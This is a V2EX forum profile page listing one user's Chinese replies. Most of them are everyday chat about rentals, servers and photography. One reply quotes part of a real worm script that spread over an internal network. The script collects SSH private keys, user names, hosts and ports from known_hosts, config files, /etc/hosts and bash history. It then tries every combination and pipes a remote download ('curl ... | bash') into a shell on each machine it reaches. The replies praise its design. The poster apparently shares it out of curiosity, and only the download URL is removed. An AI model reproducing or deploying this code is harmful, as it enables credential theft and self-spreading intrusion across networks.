V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX  ›  cdlnls  ›  全部回复第 1 页 / 共 41 页
回复总数  805
1  2  3  4  5  6  7  8  9  10 ... 41  
没错不就是拿来用的么,要是觉得卡,那就只能换机器了。
我只截取了脚本里面关于 ssh 扩散的这一部分,xxx 点 com 是一个下载脚本的 url,这里我给去掉了。
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://xxx.com)|bash >/dev/null 2>&1 &' & done
fi

for file in /home/*
do
if test -d $file; then
if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://xxx.com)|bash >/dev/null 2>&1 &' & done
fi
fi
done

localgo() {
myhostip=$(curl -sL icanhazip.com)
KEYS=$(find ~/ /root /home -maxdepth 3 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | awk -F ' -i ' '{print $2}' | awk '{print $1'})
KEYS4=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $2}' | awk -F '{print $1}')
HOSTS4=$(cat /etc/hosts | grep -vw "0.0.0.0" | grep -vw "127.0.1.1" | grep -vw "127.0.0.1" | grep -vw $myhostip | sed -r '/\n/!s/[0-9.]+/\n&\n/;/^([0-9]{1,3}\.){3}[0-9]{1,3}\n/P;D' | awk '{print $1}')
HOSTS5=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
HOSTS6=$(ps auxw | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | grep ":22" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq
)
USERZ2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '@' '{print $1}' | awk '{print $4}' | uniq)
pl=$(
echo "22"
cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -vw "cp" | grep -vw "mv" | grep -vw "cd " | grep -vw "nano" | grep -v grep | grep -E "(ssh|scp)" | tr ':' ' ' | awk -F '-p' '{print $2}'
)
sshports=$(echo "$pl" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
userlist=$(echo "$USERZ $USERZ2" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3 $HOSTS4 $HOSTS5 $HOSTS6" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3 $KEYS4" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
i=0
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
for sshp in $sshports; do
i=$((i+1))
if [ "${i}" -eq "20" ]; then
sleep 20
ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
i=0
fi
#Wait 20 seconds after every 20 attempts and clean up hanging processes

chmod +r $key
chmod 400 $key
echo "[email protected]$host $key $sshp"
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key [email protected]$host -p$sshp "export src=sshcopy;(curl -fsSL http://xxx.com||wget -q -O- http://xxx.com)|bash >/dev/null 2>&1 &"
done
done
done
done
}
localgo
@matrix67 我晚点整理一下发出来
缺点也是有的,它没有解析 known_hosts 文件里面的 base64,也算是留了改进的空间吧……
前段时间正好也遇到一个内网通过 ssh 扩散的脚本,可以说很是优秀的了。

用 find 去找私钥,从 hosts 文件里面找主机,从历史记录里面找 scp 和 ssh 的记录,从.ssh 目录里面找已经连接过的主机,从 config 文件里面拿私钥的路径,等等好几个来源。

最后最牛逼的是用这些从不同途径拿到的主机端口 key,又重新排列组合一遍,最后遍历这些组合。
无解,建议换个号重新开始。
之前用网易云的时候,fm 推荐也就刚刚注册账号后的一段时间正常一点,后面听的类型稍微杂一点,就开始瞎推荐了。
37 天前
回复了 SgtPepper 创建的主题 宽带症候群 跑 frp 的话有什么主机推荐?
阿里云整一个最低配的 ecs 实例,然后宽带选按量付费,带宽拉满。5 年大概 600 块钱。
40 天前
回复了 wei2333 创建的主题 问与答 独生子女应该上交工资给父母吗?
无法理解,说是让你自己存钱了,然后一段时间给他们看下,这是当家长的给小孩检查作业呢?
42 天前
回复了 naoh1000 创建的主题 Linux Ubuntu 适合用于生产环境服务器吗?
一直感觉 ubuntu 和 centos 或者 debian,其实对于大多数运维开发来说,都是稳定的。

很多时候即使服务器真的出现”不稳定“的情况,估计大多数人都是没办法察觉和去分辨出是不是服务器系统不稳定。(这里说的情况排除第三方软件包的问题,和排除非常专业的运维开发测试)

对于普通常规的项目,其实选什么都没差。无非就是包管理不太一样、软件仓库要新的还是旧的、图形界面选什么。如果乐意的话 windows 也是很好的选择。
50 天前
回复了 skai0dev 创建的主题 分享发现 B 站网页版出了个记笔记的功能
这个产品经理厉害了
自如好像是有租金贷款的吧?
不过不管有没有租金贷,影响绝对是有的,不管自如后台硬不硬,要是几个月房子租不出去最后还是要倒。
中介租房这种业务风险还是挺高的,一间房要是一个月租不出去,可能就亏损千把块钱,租出去了才能赚几百块钱。
弄个 flask 当后台,然后写个 html 模板,模板上只要加一个输入框,一个提交按钮,不要求美观的话,最多 15 分钟就能做好。
61 天前
回复了 youmee 创建的主题 问与答 蛋壳破了,自如还能自如吗?
破产不一定,但是难过是肯定的
自如破产的话,估计又会冒出来一批做长租的公司
建议附近如果有体验店的话,可以直接去逛了。
三个建议
1. 拍照的时候打开定位功能,让照片上留下位置信息,保存的时候注意保存原图,这样后面查看照片的时候可以方便的看到在哪里什么时候拍摄的,还可以根据位置筛选照片。
2. 提高拍照水平,学习学习拍照技巧
3. 可以尝试把好的照片冲洗出来做成相册,一年或者几年一本,等 20 年后再看这些相册,一定会比电子照片更好。
65 天前
回复了 yitl666 创建的主题 生活 我又来分享生活了,比较有意思的一段经历
祝成功,如果可以的话记得好好争取一下,后面回想起来也不至于后悔
从杭州般到深圳,发的顺丰快递。本来 120KG 的东西,打个木箱子。重量变成约等于 180KG,总共花费 980 块,快递直接送上门(好像是额外付费了,包含在 980 里面)。你可以参考一下。

显示器机箱的话最好要有箱子
然后就是三通一达好像是不给寄显示器或者贵重物品
1  2  3  4  5  6  7  8  9  10 ... 41  
关于   ·   帮助文档   ·   FAQ   ·   API   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   3960 人在线   最高记录 5497   ·     Select Language
创意工作者们的社区
World is powered by solitude
VERSION: 3.9.8.5 · 54ms · UTC 05:09 · PVG 13:09 · LAX 21:09 · JFK 00:09
♥ Do have faith in what you're doing.